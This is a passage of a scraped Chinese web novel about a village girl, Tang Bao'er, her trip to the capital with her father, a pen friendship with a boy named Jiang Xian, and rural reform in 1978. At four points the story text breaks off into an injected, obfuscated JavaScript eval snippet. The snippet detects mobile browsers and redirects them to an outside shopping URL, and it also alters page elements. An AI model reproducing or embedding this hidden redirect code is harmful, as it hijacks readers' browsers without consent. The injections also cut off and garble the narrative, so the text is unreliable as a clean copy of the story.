哪怕他们出门在外已经尽量体面了,但厚实的土布棉袄,粗厚的棉裤,手工做的布鞋,乱糟糟的头发,以及那股跟这个大城市格格不入的气质,说话时暴露的乡下口音,无一不在表明他们是乡下来的。 他们昨天去首都大学的时候坐的就是公交车,但昨天从火车上下来太累了,当时也没有很新鲜的感受,但昨晚睡了饱饱的一觉,唐宝儿也有精神去观察周边的一切了。 这跟火车不一样,视野要开阔得多,这个道路应该有他们乡下的公路的三倍宽,公路两边不是黄土原野,而是两层楼高的房子,开着商店,飘着食物的热气,路上也有很多人,有骑着自行车的,也有在走路的。 人行道上的三角梅攀爬穿墙,缀满了红色粉色的花朵,红嘟嘟粉嘟嘟的。 唐实牵着唐宝儿的手下了车,延绵的红墙下,密密麻麻的人头形成了一片黑压压的“人海”。 热闹非凡,熙熙攘攘,各色人等在这里汇聚、流动、交汇。 迎风飘扬的红旗,门上挂着的主席像。 眼前的一切给了他们强烈的冲击,原来这就是天安门! 人可真多! 广场上还有照相的,既然都来了不张照相怎么行,唐实去打问价钱的功夫,唐宝儿看向旁边拍照的那个小姑娘。 她穿着红色的呢绒大衣,脚上是洋气的小皮靴,带着蕾丝的白手套,梳着两条油亮亮的羊角辫,手揣在口袋里在摄影机前不断的摆换姿势,干净洁白的小脸上带着不凡的傲气,像是从洋画里走出来的大小姐。 她看见了排队等着拍照的唐宝儿,微微皱了下眉眼,从上倒下的打量了她一眼后,眼里闪过一抹嫌弃。 “顾念,你拍完照了吗?冼晨曦说现在要去少年宫了!”同学叫她。 原来她叫顾念,很好听的名字,但唐宝儿想起自己的名字微微一笑,她的名字也很好听,爹娘的掌上明珠宝贝女儿。 “拍好了拍好了!”顾念眉宇间闪过一抹不耐烦,但还是应声跟她离开了。 顾念走后,就轮到了唐实父女俩。 唐实看着孩子皱巴巴的棉袄,用手给她扯了扯,又把她的头发给顺了顺,才拉着闺女的小手在天安门的红旗下站着了。 小女孩浅笑嫣嫣,摄影师扣动快门,咔的一声给父女俩拍下了天安门城墙下的第一张合照。 从天安门离开,唐实跟唐宝儿就坐着公交车去往他们的下一站目的地——长城了。 大概是这几天开学,所以慕名前往长城的人不少,他们来爬的这一段又是最热门的长城,人头攒动。 “来什么长城啊,太无聊了吧,这大太阳乌泱泱的都是人,都是汗酸味!”吕佑均扶腰皱眉道。 来长城是梁旭的策划,听到朋友抱怨的声音,梁旭脸耷拉了下来,“就你瞎抱怨,人家弦哥怎么一句话都没有!连这点长城都爬不了,实在不行你就先回家吧!” 他们今天不上课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是他出现了幻觉吗? 唐实抬头看,就见一个小人影朝自己飞奔过来,扑进自己的怀里。 “爹,你怎么才回来啊!”唐宝儿等了好久,她都想着要不要出去找她爹了。 “宝儿!”看到她已经安然无恙的回来了,唐实一颗心才终于算落到了实处,“都怪爹不好,差点把你给弄丢了!” 唐实回来的路上,脑海里一直想着宝儿小时候的样子,她那个时候那么小一个,像一粒剥了壳的青豌豆,他们夫妻俩就这样慢慢看着她一点点长大。 要是把宝儿丢了,这对于他们夫妻俩情感精神上的打击无疑是巨大的。 唐宝儿指着一个十四五岁的男生给他介绍道,“爹,这是江弦哥哥,是他送我回来的。” 33. 第33章 “您好,我叫江弦。” 唐实看着眼前这个少年,看他眉眼精致,十五六岁的年纪却有一种不符合他年纪的凛然之气,看着就像个有声望家庭的孩子。 唐实搂着唐宝儿,看着眼前的人,自然是忙不停的感谢,再多的谢字都不能平复他现在心情的激动。 江弦看出来这对父女需要时间平复一下彼此激动的心情,就不再多留打扰了,离开前,他目光深远的看了一眼唐宝儿。 第二天下午,唐实去天安门的照相馆取照片了,唐宝儿一个人留在招待所,楼下有人推着泡沫箱卖奶油冰棍,唐宝儿从口袋里摸出五毛钱就跑了下去。 “奶奶,我要一根奶油冰棍!” “您好,要两根奶油冰棍。”一道清新爽朗的声音在唐宝儿旁边响起。 “江弦哥哥?” “小伙子,给你。”老奶奶打开装冰棍的泡沫箱,掀起一个保温用的棉被,从里面拿出两根冰棍递给他。 江弦把另外一根奶油冰棍递给她。 唐宝儿有点不太好意思接,昨天江弦送她回来她已经很感激了,现在还怎么好让江弦请她吃冰棍呢。 江弦眉眼带了笑意,“再不吃就要化掉了。” “谢谢江弦哥哥。” 唐宝儿听到这话,忙将奶油冰棍接了过来,揭下裹在奶油冰棍外面那张半透明的包装纸,淡淡的雾气在冰棍上缓缓升腾,一股奶油的香味细细地钻入鼻腔。 她咬了一口奶油冰棍,甜甜的,里面还有一股浓郁的奶油味,口感很顺滑,一口咬下去整个人别提有多舒畅了。 奶油冰棍五分钱一根,除了奶油冰棍外,还有一种水果味的冰棍三毛钱一根。 江弦指了指不远处树荫下的一排石凳,“到那里去坐一下?” 唐宝儿点点头,跟着他走过去了。 “你叫唐宝儿,这是你的大名吗?” 唐宝儿吃着奶油冰棍,想了下,“不是,我还有一个大名叫唐絮,就是雪花飘得像柳絮一样的意思。” “你的爹娘……他们对你好吗?” “当然好了!我的爹是这个世界上最好的爹,我的娘是这个世界上最好的娘,我是他们唯一的女儿,我爹娘对我特别特别的好!” 江弦想起来昨天她爹对她的模样,再看她说起话来唇角带笑的样子,看来她爹娘对她确实应该挺好的,“你们是到首都探亲还是做什么的?” “不是,我跟我爹送我娘来首都上大学,我娘她可厉害了,她是恢复高考后首都大学的第一届大学生,我爹去取照片了,等明天我们就回老家了。”唐宝儿咬了一口冰棍说道。 首都太大了他们三天五天的也逛不完,而且昨天的事唐实还心有余悸,这回到绿水村也要花费一两天的时间,老家一堆事情要忙也没办法继续耽搁了,所以唐实的想法就是他们明天就启程动身回去了。 江弦听到她说要回家时,一种异样的感觉从心里升起,“你家里是哪里的?” “我是乐水县芦花溪公社绿水村的人。”唐宝儿犹豫了一下,还是把家里的位置给告诉他了。 “好,那我以后给你写信,可以吗?” “写信?”唐宝儿还没有写过信呢,有点新鲜,“好啊。” “那从今以后,我们就是朋友了。”江弦理所应当的说道。 唐宝儿点了点头,“好,我愿意当江弦哥哥的朋友。” “既然是朋友,那咱们交换一件信物怎么样,这是一块石头,我送给你,你再送我一件礼物。”江弦说着,从身上取下一块穿着红线的墨绿色石头给唐宝儿。 “这块石头真漂亮……”唐宝儿看着手上的墨绿色石头,细腻得没有一点瑕疵,折射出向月亮一样的光芒,拿在手里有种温润的感觉,心里想着这么绿的石头一定很少见。 “可是我没有东西交换给江弦哥哥啊。”唐宝儿想到了自己脖子上的银锁,但那是外公外婆送给自己的礼物,唐宝儿可舍不得送给别人。 江弦指了指她头上的红色头花,“把宝儿这个留给江弦哥哥当纪念吧。” 唐宝儿想了一下,她今天出门时戴了一对红色的头花,便大方地说道,“那我把两个都送给江弦哥哥吧。” “好。” 唐宝儿小心翼翼的把石头收好,江弦见状扬了扬唇角,也学着她的模样珍而重之的把那一对红色头花给收起来。 唐实取完照片后,还顺带去火车站买了两张第二天的火车票,次日一早,唐实父女俩在附近的早餐店吃过一点早餐后,又买了些包子馒头带在路上吃,就坐上了回绿水村的火车。 唐宝儿也开学了,她就带着数不清的新奇体验,开始了她在绿水村小学的第二个学年。 刚开学领到新的课文,几个往日里要好的同学就围了过来。 “宝儿,听说你寒假去首都送你娘上大学了?!我们从来都没有去过首都呢,怎么样,你快跟我们说说首都都有什么!” 唐宝儿捡了些内容跟大家分享了,“首都有首都大学、天安门、长城,那边的路上都是开得很好看的三角梅,马路又宽又大,比我们绿水村的公路宽了三倍,到处都是公交车,晚上到处都是亮堂堂的,有很高很高的路灯!” 唐宝儿这些话无疑让同学们对首都生出了非常巨大的兴趣,都追着让她再讲。 “那咱们一起努力学习,将来也考上首都的大学,去天安门和长城。” “切,土包子,不就是去一趟首都吗?”吴春红不屑的翻了个白眼,上辈子她初中辍学后就是去首都打工,唐宝儿说的这些她早就见过了,有什么好稀罕的。 “我们是土包子,你就不是土包子了吗?你也没去过首都吧?还有,你上次还板上钉钉的说唐宝儿的娘考不上大学,人家唐宝儿的娘不仅考上了大学,还考上了全国一流的大学,你是不是应该向她道个歉?!” “我是没去过首都又怎么样?但起码不会像你们这样无知!”吴春红气得跑了出去。 她是真没想到姚秋月竟然真的考上了大学,要是将来姚秋月在首都扎稳脚跟,那唐宝儿不就能跟到首都生活了? 那她跟唐宝儿比起来,就要差下一大截了。 不行,她得采取点什么措施,绝对不能让唐宝儿超在她的前面。 唐宝儿放学后,看到空荡荡的家还是很不习惯,她爹唐实还在队上出工没有回来。 但娘不在,爹干活又辛苦,她必须要学习多帮家里分摊一些事情。 今天的晚饭就让她来做吧,等爹回来看见她已经把晚饭做好了一定很高兴的,唐宝儿抡起袖子想。 唐宝儿决定做野菜土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐实笑着摸了摸她的脑袋,“没事的,爹知道你是想帮爹分担家务活,这样,以后你放学了把菜给准备好,等我下工了就做饭,这样咱们也能早一点吃晚饭了。” “好吧。”唐宝儿点点头。 “现在,就让我去给宝儿做喜欢吃的野菜鸡蛋煎饼吧。” “好,那我去帮忙烧火。” 挂在檐下的菜篮子里还有剩下的野菜,唐实将野菜切碎了装进一个大盆里,又打了三个鸡蛋,加入适当的盐和面粉,搅成半固体的面糊。 唐宝儿已经将锅烧热了,他倒进一点油,把锅给润了一下,舀进一勺面糊,煎了一会后翻了个面,再煎上一分钟,一块金黄美味的野菜鸡蛋煎饼就做好了。 唐实煎饼时,唐宝儿就在灶边看着,清新的野菜香气扑面而来,唐宝儿看着他干脆熟练的动作,心里不由得想,她爹可真厉害。 会杀猪、会做饭、会卖神仙豆腐、会干农活……她爹简直就是这个世界上最全能的爹。 唐实煎好一盘野菜鸡蛋饼后,父女俩就开始吃晚饭了。 春天是万物生长的季节,春天的野菜最鲜嫩,吃起来不仅口感好,还带着一股独特的清香,和鸡蛋煎成饼,带着微微的咸味还有鸡蛋的香味,唐宝儿一口气吃了两块还觉得不够,这野菜鸡蛋煎饼也太好吃了。 34. 第34章 三月份正是乍暖还寒的时候,河里的水化冻了,有贪玩的小孩放学就跑到河里摸鱼,唐宝儿也跟着成和他们跑去玩了,但是她运气不好,踩到一块长了青苔的鹅卵石,摔了一跤浑身都湿透了。 回来的第二天就发了烧,唐实让成和帮她请了假,自己上午也没出工,留在家里照顾唐宝儿。 “好苦,我要被苦死了……”拇指头那么大的药片卡在喉咙处咽不下去,苦得唐宝儿眼泪都快要流出来了。 “叫你贪玩,再苦都自己咽下去。” 唐实虽然嘴上这么说,但心里还是心疼孩子,端着碗水过来让唐宝儿喝了把药咽下去,并伸出手给她轻拍着背。 “好了,喝粥吧。” 唐宝儿看着唐实手上的白粥,刚吃完了一把药丸,又喝了一大碗水,肚子都鼓鼓胀胀的,哪里还有胃口能吃得下。 唐实便说道,“那我放灶上煨着,等你饿了想吃的时候再吃。” “好。”唐宝儿点头。 “四叔。” 听到声音,唐实父女俩朝着门口看过去,来人正是应该在公社上初中的成鸣,芦花溪公社的初中有食堂,成鸣上初中之后就开始在学校上灶了,除过周末和寒暑假其他时间都不在家,今天是周二,按理说他应该在学校才对。 唐宝儿叫了声,“成鸣哥哥。” 唐实有些意外,“成鸣,你怎么回来了?” “我想起来有本书落家里了,就请了假回来拿,我娘让我在家里住一晚,明早再去学校,听说宝儿生病了,我就过来看看她。” 成鸣的目光落在唐宝儿的身上,她穿着一件白色的长袖毛衣,往日里绑成辫子的头发披在肩膀上,大概是病着,脸色也不如往常红润,带着病气的苍白。 “噢,那你下午能帮我看着点宝儿不?她病了,但我生产队里抽不开身,不好请假……”姚秋月开学那段时间正是农忙的时候,他一走就是几天,现在刚回来就又要请假,队里的人难免有些怨言。 成鸣正求之不得,自然一口就答应下来了。 唐实出门后,唐宝儿晕晕沉沉的,很快就睡着了。 她睡觉的时候,成鸣就在旁边坐着。 宝儿睡觉的时候很乖,像一个白净的糯米团子,成鸣想起来他第一次看见她的时候,那个时候的宝儿还是个尚在襁褓的小婴儿,一转眼都长成七八岁的小姑娘了。 他动手把被子给她往上盖了点。 唐宝儿睡醒时发现成鸣还在旁边坐着,有些不好意思,“成鸣哥哥,你还在啊?” “嗯。” 说着,她感觉脸上黏嗒嗒的,她伸手摸了一把,这突然来的水渍让唐宝儿怔了一下,意识到这是她流的口水,唐宝儿尴尬得真想把头埋进地里。 她记得她以前睡觉不流口水的。 成鸣被她的模样逗得忍不住笑了下,“饿了吗?四叔说灶上给你留了粥,我端过来喂你。” “好啊,麻烦成鸣哥哥了,你帮我端过来我自己吃就可以了。” 粥熬得火候正合适,成鸣坚持要喂她,唐宝儿也就随他了,他喂一口她就张嘴吃一口。 成鸣摸了下她额头的温度,已经不烫了,“宝儿,去首都好玩吗?” “好玩,首都人可多了,有数不清的人,数不清的自行车,原来大城市是这样的。” “那你给我讲讲首都的趣事。” “好啊!”唐宝儿睡一觉醒来精神已经好多了。 成鸣看见唐宝儿眉眼带笑,绘声绘色的给他形容首都的景象,也不由自主的被她感染,脸上带了愉悦的笑意。 唐实下工回来时,发现家里还有去年剩下的红薯,还没发芽,再不吃估计就要坏了,就洗干净了削了皮,切成块了丢进瓦罐里煮。 想起来什么,他又到菜地里掰回来半块姜,切片了丢进瓦罐里一起。 煮了半个多小时,他用筷子插了一下那红薯,红薯的瓤已经熟得快要化开了,红薯汤已经熬得浓稠软糯,唐实想起来往日宝儿最喜欢吃甜的东西,就往里放了红糖,尝了尝味道合适了,才把红薯汤倒进两个碗里。 铺面而来的生姜味道呛得唐宝儿咳了两声,“爹,这味道好奇怪啊。” 唐实瞥她一眼,“哪怪了,给你多放点姜驱驱寒,病早点好了赶紧去上学,千万别落下功课了。” 提到上学,唐宝儿想起来今天本来是要上学的,但是她发烧了就只能请假待在家里,也不知道今天学校里老师们讲了什么。 她现在也不嫌弃这红薯汤的味道怪了,接过勺子就吃了起来,味蕾有种火辣辣的感觉,刚喝有点奇怪,但喝上几口竟然还蛮好喝的,甜丝丝的带着点辣味,红薯很软糯。 唐宝儿吃完了红薯,又咕咚咕咚的把剩下的红薯汤喝了,感觉嘴巴辣辣的,但浑身都暖和了,她感觉自己现在就能去上学。 “爹,我给这个红薯汤起了个名字!”唐宝儿激动的说道。 “什么名字?” “就叫它,怪味红薯汤吧!” 孩子稚嫩激动的话音逗得唐实忍不住笑出了声,险些笑得被自己的口水呛到。 惊蛰前后,气温升高,细雨滋润之下,万物萌发,这个时候春笋也悄悄的冒尖了,正是到了采挖春笋的最佳季节。 春笋在夜里生长,必须得赶早去山里挖,不然吃了可就被人挖光了,天还没亮,唐宝儿就从床上爬了起来。 晓巧还有成和早就在院子里等着她了,手里还提着篮子还有挖笋的工具。 晓巧今年已经是六年级的学生,等今年六月份就要参加小升初考试,晓巧心里也是七上八下的,她成绩一般般,也不知道能不能考上初中。 “咱们走吧。” 于是三人就踏着晨雾上了绿桂山,他们来的时间还算早,山上也没碰到几个人,树叶上的露水滑落滴在脖子处,冻得唐宝儿打了个激灵,看到不远处的一丛矮竹子,已经有竹笋冒了出来,她大喜过望。 上前用手将竹笋掰了捡进竹篮里,数了数一共有十几根,这个成果让她颇为满意,又弯腰去找其他的竹笋。 等天亮的时候,三个孩子已经各自装了满满的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她把信封拆开,展开信纸,江弦在信里问她是否已经回到家了,生活上有遇到任何困难都可以向他倾诉,他在信里分享了自己的一些生活日常,并问她能否也给他分享一下她的日常经历。 江弦的字很好看,内藏锋锐,大气磅礴,有一种笔墨飞舞、一气呵成的气势。 唐宝儿从抽屉里找出一张白纸,并且提笔开始给他回信。 “江弦哥哥: 你好,我已经收到你的来信,我已经回到家了,并且开始了我在绿水村小学的第二个学期,已经入夏,我每天除了上学外,还会跟我的堂哥堂姐们到山里挖美味的野菜,还有找各种好吃的野果子、甜草根,下河里捞了小鱼烤着吃,我娘去上大学后,家里只剩下我跟我爹两个人,但日子并没有很冷清,我前几天给我爹烤土豆吃,但是没有烤熟,差点给他“毒”倒了,我爹说我是他的黑心棉,他说完后自己都笑了。 唐宝儿于1978年夏” 写完信后,唐宝儿郑重其事的将信纸给叠得整整齐齐,装进一个新的信封里,并且贴上邮票寄了出去。 35. 第35章 唐宝儿的信寄出去没多久,便发生了一件翻天覆地的大事!上头下了通知,农村要搞生产责任制了!“包产到户、自负盈亏”整个绿水村都处在一种忙乱的激动之中,村里所有的土地按川、山、地、坝地和阳、背、远、近分别用绳索测量后进行了分类分级,每户人家派出一个代表来抓号,唐实便把这个任务交给了他闺女,唐宝儿运气向来不错,纸团打开的瞬间,周围人都吸了口气,这手气也太好了,这可是他们村集体里最好的一块地! 芦花溪公社的牌子也被摘下来了,挂上了“芦花溪镇”的牌子。 上头还下了通知,把各种阶级的帽子都摘掉了,从今以后他们的子女入学招工全部都不再受任何影响,黑市也合法了,一夜之间不少新奇的货品涌上了集市,还有人搞起了长途贩运。 这可把唐实高兴坏了,他一直想做点什么营生,现在终于可以光明正大的干了。 唐实倒腾起了棉花生意,短短一个月就挣了三百多块钱,唐实邀请过唐老三一起入伙干,但唐老三觉得自己倒腾不来那些个生意,他也不敢,生怕哪天政策又变了,一个投机倒把的罪名扣下来那可不是小事,但卖力气可以,于是在农忙之外,他就到县里的基建工地学起了工匠活,帮人盖房子,这世事变了不一样了,人勤快就能挣钱,人懒?那你就穷着吧! 时值六月,天气已经明晃晃的热了起来,她今天穿了件嫩绿色的短袖,下身搭着一条粉紫条纹相间的裤子,头发扎成高马尾后编成了一条粗辫子,还在马尾的根部绑了一个橙色的蝴蝶结,看起来活泼又轻便利落。 从小到大唐宝儿的头发都是姚秋月给她梳的,刚从北京回来那阵子,唐宝儿每天的发型跟难民没什么区别,也就是经过这段时间的练习,唐实从刚开始的手忙脚乱,到现在已经会给闺女扎辫子了。 最后一节课是体育课,放学铃刚响,天空像是一张洁白的幕布被人倾倒了一大瓶黑色的墨水,暴雨很快就落了下来,挡住了学生们放学回家的路。 有学生带了塑料布,其实就是化肥袋子的里边那一层防水的布,乡下人买了化肥,那装化肥的袋子可舍不得丢,里边的塑料内层用来当防水雨衣,外面的麻袋就用来装粮食,那塑料布往身上一披,这样就不会被雨淋湿了,也有离家近的,根本不怕,埋头冲进了雨里,权当是洗了个凉水澡。 唐宝儿教室前徘徊踌躇,这雨倒是让她犯了难——她今天穿了双新鞋。 这鞋是她爹给她买的,是一双方口的小皮鞋,鞋扣是铝制的,做工非常的精致漂亮,唐宝儿是今天第一次穿,没想到就碰上了大雨,这鞋子不能沾水,要是泡了水就完了。 “宝儿,走吧,我送你回家。”同桌罗苗苗撑着把伞站在雨里叫她。 唐宝儿摇了摇头,站在台阶上看向脚下的泥泞,“苗苗,我等雨停了再回去,你先走吧。” 罗苗苗听到她这样说,只好点了点头,“好吧。” 吴春红刚往身上披上塑料布,看到唐宝儿脚上的鞋子,不屑的从鼻孔里哼了声,今天早上她就发现唐宝儿穿了双新皮鞋,一看就不便宜,县里边都没有卖,那唐老四对这个捡来的野种可真好,活该,谁让她穿新鞋嘚瑟,看她怎么回去。 刚过几分钟,学校里的人都走得七七八八了,雨丝被风吹到走廊下,唐宝儿打了个喷嚏,缩了缩脖子。 等了好一会,她看着雨慢慢小了,才小心翼翼的把鞋子从脚上脱下来,用纸包着了护在怀里。 刚想走进雨里,就看见有人撑了一把大黑伞走过来,不是她爹又是谁? “爹!”唐宝儿激动的喊道。 “你不是去卖棉花了吗?”唐宝儿惊讶道,没想到唐实会来接她。 “想着下雨了,你今天出门时又没带雨伞,就赶紧回来了。”事实上,唐实为了回来接他闺女,冒雨骑了几里地的车才赶回来的,路上也来不及撑伞,就披着一块塑料布,满脸都是雨水。 唐实看着闺女光着的脚,知道她肯定不愿意穿着这个鞋泡水,将雨伞递给她,在她面前蹲下身来,“走吧,爹背你回去。” 唐宝儿看到唐实脸上不断滴落的雨水,知道她爹肯定是冒着刚才的大暴雨赶回来的,眼睛有些酸涩,“爹,我等雨停了再回去也可以的,还要你大老远跑回来接我。” 唐宝儿将鞋穿上后,就爬到了唐实的背上,她爹的背很宽阔,每一步都迈得很沉稳,踩过一个个泥泞和水坑。 扑面而来的雨丝让她的视线变得模糊起来,唐宝儿心里有了一个想法,她觉得这不是泥泞和水坑,而是生活的坎坷。 但是因为有她爹在,她不必惧怕任何前方的坎坷。 回到家时,唐实都湿透了,但唐宝儿却没沾到一点雨水。 唐实换上一身干衣服,父女俩就到厨房准备做晚饭了。 照例是唐实做饭,唐宝儿烧火,火光把孩子的脸映得红红的。 他早上出门时买了排骨,家里还有冬瓜和茄子,就做了个酱烧茄子、椒盐排骨还有清热解暑的冬瓜汤,做完饭时,天已经完全黑了,唐实就在屋里点了煤油灯,唐宝儿端着两碗米饭,唐实端菜,父女二人就开始吃饭了。 “尝尝排骨。”唐实给孩子的碗里夹了一块排骨。 “唔,好好吃。”唐宝儿刚吃第一口,就被这椒盐排骨的味道惊艳到了,表皮香脆,鲜香脱骨,满嘴肉香太满足了,唐宝儿幸福的说道,“比国营食堂大厨烧的排骨还要好吃,我觉得爹可以去开饭店了!还有茄子也好好吃,酱香味很浓,冬瓜汤特别清甜。” 看到孩子喜欢吃他做的饭,唐实还是很有成就感的,忍不住笑道,“好吃就多吃点。” 唐宝儿吃完了一整碗米饭,肚子饱饱的。 吃过晚饭后,唐实收拾了碗筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183276|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去洗,他洗碗时,唐宝儿就在旁边帮忙过水,父女俩齐心协力,很快就把碗给刷干净了。 唐实从炕桌下拿出记账本,盘算着这一批的化纤棉全部卖出去能挣多少钱,另外他想要进一批服装回来芦花溪镇上出售,这需要多少的进货价成本。 厨房里传来一阵响动,唐实忍不住眉头一跳。 一阵轻微的敲门声后,他看见他细小的闺女推开门,端着一碗热气腾腾的糖水走了进来。 “爹,你今天淋雨了,我照着你上次做怪味红薯汤的方法,给你煮了红薯汤,你快趁热喝了。”唐宝儿将红薯汤端到他面前的炕桌上,目光希冀的看着他。 在端过来之前,唐宝儿就先自己试过了,味道虽然比不上她爹做的,但这是好喝的。 “小丫头,还知道心疼你爹了。”唐实摸了摸孩子的脑袋,将闺女抱到炕上坐着,“明天还要上学呢,你这大晚上的不睡觉。” 这点雨对他来说根本不算什么,但闺女心疼自己,唐实心里还是感觉很熨帖的。 他端起那碗红薯汤喝了口,甜味刚刚好,红薯也熟了,姜味可以接受,唐实又让孩子喝了两口,才把那碗红薯汤喝光了。 “才九点半,晚点再睡,我明天也能起来的,爹,你打算卖衣服吗?” 现在各种贸易放开了,唐实就想办法给孩子买了块电子表,表盘上边还有唐老鸭的图案,唐宝儿是小学里第一个有手表的人,这可把班上的同学羡慕坏了。 唐宝儿看到他桌上的笔记本,不由得睁大了眼睛。 唐实点头,“对,是有这个想法。” “是要到S市进货吗?”唐宝儿问,她知道她爹就是去S市进货回来的化纤棉。 “对,打算把现在的棉花卖完了就去S市进货,这一次不进棉花了,打算进一批涤纶面料的衣服回来卖。”S市是X省的省会城市,四通八达,各种货物不仅丰富还便宜。 “爹,等到时候我就放暑假了,你一定要带上我一起,我也想去陪你进货卖衣服。”唐宝儿的眼里闪着兴奋的光。 “行,到时候爹就带上咱们宝儿一起,但你可得答应爹,马上就到期末考试,要好好考。”他刮了刮孩子的鼻梁,其实出门在外带着孩子不太方便,但唐实还是答应了下来。 “放心吧,我一定考个全班第一。”唐宝儿自信满满的说道。 “也不用考第一……发挥出正常水平就好了。”唐实咳了两声说道,他也不愿意给孩子太大压力。 “好嘞。”唐宝儿笑,她的正常水平就是全班第一。 虽然跟自己老是不对付的吴春红也挺厉害的,她就像是对各种知识点都熟记于心的感觉,什么都会,但她却经常会在一些开拓思维能力的题目上出现问题,非常的不稳定。 但唐宝儿每次考试就很稳定,她从上学开始,每次考试就都是年级第一。 36. 第36章 唐宝儿六月份再次收到了江弦寄来的信,除了一页信纸外,她还收到了江弦给她寄过来的一件小礼物,一张落叶做成的小卡片还有一条粉色珊瑚的手链。 “在首都时忘记了问你生日是什么时候,就当是送你的生日礼物,千万见谅。” 唐宝儿本来还有点生气江弦突然送礼物给她,她知道江弦哥哥是首都里有钱人家的孩子,但是唐宝儿只想保持不沾染任何金钱的笔友关系,可是看到他写在卡片上的理由时,唐宝儿觉得自己也不是那么难以接受了。 好吧,他只是想送自己一件生日礼物。 但是这离她的生日还有很久呢。 唐宝儿把手链戴到手腕上,粉色是她喜欢的颜色,衬得她手腕很细白,而且这个粉色的珊瑚珠子打磨得很光滑,每一粒都饱满圆润,非常的雅致漂亮。 那她该回送江弦什么呢? 唐宝儿咬着笔头犯了难,她看向院子外面,三伯母侯松梅正在准备要包端午节的粽子了。 有了! 她从箱子里翻出几根彩色绳,每年端午她娘都会给她和她爹编一条五彩绳系到手腕上,等端午过后第一场雨再丢进河里和水一起飘走。 但她不是要编五彩绳,而是要编更复杂的幸运手绳,再在手绳的收口处穿上珠子,希望江弦哥哥也能事事顺心。 唐宝儿从彩色绳里抽出绿色、蓝色还有米白色的三种绳子。 这种手绳唐宝儿是跟同学学的,因为太复杂了需要花费的时间精力比较多,她还没有开始试验过。 她先固定一根主线,然后拿长的一根线中间对折后开始编织。 刚开始的时候不太熟悉,但她很快就摸索出了规律,大概花了四十分钟才编织好了第一根绿色的手绳。 第二根蓝色手绳只花了半个小时,第三根开始熟练了,只花了二十五分钟。 接下来就是将三根手绳按照编麻花辫的方法,三股缠绕,再在两头各打上一个单结,把手绳固定。 最后再把编好的三色幸运手绳绕成一个圈,在连接处打上一个伸缩平结,用火在平结的剪线口处燎一下,按压平整。 这两步就比较简单了,合起来也才花了二十分钟。 最后再幸运手绳的垂线处穿上白色的珠子,这跟幸运手绳就编织成功了。 一共花了两个小时。 唐宝儿看向手中的最终成品,满意的点了头,然后再提笔回信,把这根编好的三色幸运手绳装在信封当中,一起寄了出去。 七月寻常的一天,外面细雨纷飞,整座绿水村小学泡在了一片烟雨朦胧当中,七点半刚到,教室里就响起了朗朗的读书声。 在实行生产责任制后,家家户户都缺人手,学校里已经有许多学生辍了学,纷纷扛起农具走向田间地里,帮着家里务农,唐宝儿他们三年级的学生都还在,但是五年级和六年级,已经有好几个学生辍学了。 早读课结束后,高老师进来给他们分发试卷,今天是期末考试的日子,从明天开始就放暑假了。 上午考语文,下午考数学。 唐宝儿先大致的看了一遍试卷,心里有了一点把握,提起钢笔开始答题。 “认真答题,不要东张西望。”高老师轻碰了一下吴春红。 吴春红回过神来,看着还剩下最后一题没写,她心里不由得紧张起来,紧接着高老师就在台上宣布还剩下五分钟的考试时间,脑子一团乱,她也来不及仔细看,就胡乱的写了上去。 交上试卷的那一刻,吴春红看着自己写在答卷上的“体现了作者的思乡之情”几句话,脸色一白,记得最后一句诗句体现的好像不是作者的思乡之情。 但卷子交都交上去了,也没办法改了。 就这样吧,只是可惜又错过了压唐宝儿一头的机会,但跟她的大事比起来,区区一场期末考试算什么。 眼看着交卷的铃声响起,唐宝儿迫不及待的第一个交了试卷。 背着书包走在细雨蒙蒙的小路上,入目一片绿色景象,路边的牵牛花攀爬生长,开着好看的紫色花儿,唐宝儿踏着轻快的步伐,情不自禁的哼起了歌。 “我知道午后的清风会唱歌,童年的蝉声,它总是跟风一唱一和……” 明天她就要跟她爹去S市进货了,光是想着就令人期待不已。 已经晚上十点了,但唐宝儿还是一点睡意都没有,忍不住翻出了图画书来看,正好看到了乌鸦喝水,唐实算完账出来看见唐宝儿的屋子还亮着灯,忍不住眉头一紧。 他厉声敲了敲门,“唐宝儿!” “唉!我知道我知道了,马上就睡。”唐宝儿慌忙的将图画书压到枕头底下,并把煤油灯吹灭。 但躺下了她还是睡不着,唐宝儿便拿起来了旁边的粉色珊瑚手链把玩。 这条手链真的很漂亮,唐宝儿已经发自内心的喜欢上了,她数了一共有二十颗珠子,每一颗都很漂亮。 她上学的时候不会戴这条手链,就在枕头边上放着。 唐宝儿已经从信上知道了江弦比她大七岁,今年就要中考了,他住在首都的军区大院里,家里只有他一个人,没有其他的兄弟姐妹,他每天的生活对于她来说,都是非常遥远的。 唐实上完厕所回来,听见唐宝儿虽然吹了灯但屋里还是有窸窸窣窣的动静,眉心一跳,沉声叫她,“唐宝儿。” 唐宝儿这下是彻底老实的睡觉了。 